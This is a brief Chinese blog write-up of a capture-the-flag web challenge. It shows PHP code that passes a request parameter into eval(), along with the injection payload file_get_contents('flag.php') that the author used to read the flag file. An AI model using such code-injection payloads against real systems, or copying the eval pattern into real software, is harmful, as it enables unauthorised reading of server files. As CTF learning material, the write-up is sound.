

i春秋-web-爆破2

原创

大千SS 于 2018-11-12 17:23:31 发布 358 收藏

分类专栏: [i春秋](#) 文章标签: [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/zz_Caleb/article/details/83995216

版权



[i春秋](#) 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

题目: flag不在变量中。

打开链接:

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

找了许多题解都是构造payload, 知识有限, 对payload不了解。如下:

[http://bcc9f1f0ae4a4c1c990aff308f30cf606a2e804b655d4f0a.game.ichunqiu.com/?hello=file_get_contents\('flag.php'\)](http://bcc9f1f0ae4a4c1c990aff308f30cf606a2e804b655d4f0a.game.ichunqiu.com/?hello=file_get_contents('flag.php'))

[file_get_contents\(\)](#)函数是将文件中的内容以字符串的形式读取。

页面变成

```
string(83) " <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

此时查看页面源代码会发现flag。



[创作打卡挑战赛](#)

[赢取流量/现金/CSDN周边激励大奖](#)